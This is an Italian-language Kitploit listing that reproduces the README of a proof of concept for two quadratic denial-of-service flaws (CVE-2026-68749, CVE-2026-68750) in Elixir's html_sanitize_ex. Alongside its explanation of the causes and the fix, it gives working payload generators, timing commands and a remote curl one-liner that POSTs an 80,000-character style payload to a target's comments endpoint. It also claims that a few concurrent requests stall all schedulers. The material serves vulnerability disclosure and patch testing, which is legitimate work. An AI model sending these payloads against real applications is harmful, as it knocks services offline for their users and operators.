Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
the-sanitizer-is-the-weapon-cve-2026-68749-cve-2026-68750-quadratic-dos-in-elixir-html-sanitize-ex — PoC che dimostra un DoS quadratico in Elixir html_sanitize_ex tramite HTML appositamente creato; include benchmark temporali, curl per lo sfruttamento remoto e verifica rispetto alle versioni corrette. | Kitploit
Strumenti/GitHubGitHub/hunt-benito/the-sanitizer-is-the-weapon-cve-2026-68749-cve-2026-68750-quadratic-dos-in-elixir-html-sanitize-ex
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebAttacco Avversario
GitHubhunt-benito/the-sanitizer-is-the-weapon-cve-2026-68749-cve-2026-68750-quadratic-dos-in-elixir-html-sanitize-ex

the-sanitizer-is-the-weapon-cve-2026-68749-cve-2026-68750-quadratic-dos-in-elixir-html-sanitize-ex

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

PoC che dimostra un DoS quadratico in Elixir html_sanitize_ex tramite HTML appositamente creato; include benchmark temporali, curl per lo sfruttamento remoto e verifica rispetto alle versioni corrette.

Vedi Repository
7 giorni faNon ancora revisionato

CVE-2026-68749 / CVE-2026-68750 — PoC

Denial of service quadratico in html_sanitize_ex < 1.5.3.

La libreria esiste per neutralizzare HTML non attendibile, ma due percorsi di codice super-lineari indipendenti consentono a una singola richiesta costruita ad arte di bloccare uno scheduler BEAM per secondi. Una manciata di richieste concorrenti satura il pool di scheduler e l'applicazione smette di rispondere. L'impatto è solo sulla disponibilità (CVSS 8.2 High).

CVEComponenteDebolezzaTrigger
CVE-2026-68749HtmlSanitizeEx.Scrubber.CSS.scrub/1CWE-1333 (backtracking delle regex)lunga sequenza di caratteri di parola in <style> con un : finale
CVE-2026-68750HtmlSanitizeEx.Traverser.traverse/2CWE-407 (attraversamento quadratico)sequenza piatta di tag fratelli consentiti (es. <b>a</b> × 20.000)

CVE-2026-68749 è raggiungibile solo tramite html5/1 (o uno scrubber personalizzato che estende :html5). CVE-2026-68750 è presente su ogni punto di ingresso pubblico, inclusi basic_html/1, markdown_html/1 e strip_tags/1.

Struttura

root@kitploit:~
mix.exs     # pins html_sanitize_ex to 1.5.2 (the last vulnerable release)
poc.exs     # generates both payloads and times them

Riproduzione

Requisiti: Elixir ≥ 1.14 e una connessione internet (per scaricare la dipendenza Hex).

root@kitploit:~
mix deps.get          # fetches html_sanitize_ex 1.5.2
mix run poc.exs       # runs both demos and prints timings

Atteso sulla build vulnerabile 1.5.2 — i tempi di attacco fanno impallidire quelli benigni. La forma è (indicativa; i valori assoluti dipendono dall'hardware, ma i due valori di riferimento dell'attacco provengono direttamente dall'advisory EEF CNA):

root@kitploit:~
=== html_sanitize_ex 1.5.2 ===

CVE-2026-68749  — CSS scrubber (html5/1), 80000 chars of 'a'
  benign  (…a!):         ~  milliseconds   (returns near-instantly)
  attack  (…a!:):        ~ 2.4 seconds     (thousands of x slower)
  diff is a single ':' character

CVE-2026-68750  — traverser (basic_html/1), <b>a</b> siblings
   2,000 siblings:       ~  milliseconds
  20,000 siblings:       ~ 1.7 seconds     (10x input -> far more than 10x work)
  ratio > 10 reveals super-linear growth

Il punto è il rapporto: l'attacco è più lento di ordini di grandezza rispetto a un input benigno di dimensioni comparabili, e 10× l'input costa molto più di 10× il lavoro. I valori di 2,4 s (80 KB di <style>) e 1,7 s (20.000 elementi fratelli) sono citati dalle advisory upstream.

Verificare il fix

Modifica mix.exs e aggiorna la versione bloccata alla release corretta:

root@kitploit:~
@vulnerable_version "1.5.3"   # or later — 1.5.3 contains both fixes

Quindi esegui di nuovo:

root@kitploit:~
mix deps.update html_sanitize_ex
mix run poc.exs

Su 1.5.3 i tempi benigni e quelli di attacco convergono allo stesso ordine di grandezza, perché il fix limita il gruppo regex ([-\w]+ → [-\w]{1,64}) e riscrive il traverser come un singolo Enum.reduce + una List.flatten/1 (O(n²) → O(n)).

Forma remota

In una vera app Phoenix queste chiamate avvengono ovunque il server sanifica il rich text fornito dall'utente. L'attaccante fa semplicemente POST del payload come valore del campo — nessuna autenticazione richiesta:

root@kitploit:~
PAYLOAD="<style>$(python3 -c "print('a'*80000,end='')")!:</style>"

curl -s -o /dev/null -w "%{http_code} %{time_total}s\n" \
  -X POST https://target.example.com/comments \
  --data-urlencode "body=$PAYLOAD"

Otto richieste concorrenti di questo tipo bloccano tutti gli otto scheduler BEAM su un host a 8 core.

Riferimenti

  • Advisory EEF CNA (68749): https://cna.erlef.org/cves/CVE-2026-68749.html
  • Advisory EEF CNA (68750): https://cna.erlef.org/cves/CVE-2026-68750.html
  • Commit di fix (68749): https://github.com/rrrene/html_sanitize_ex/commit/4f4bd9eb254881462c0461fbab74b29188c2c133
  • Commit di fix (68750): https://github.com/rrrene/html_sanitize_ex/commit/9f5ccedbed230930813f992a1e6906fcf485981e

Solo a scopo educativo / per test autorizzati.

Scarica lo strumento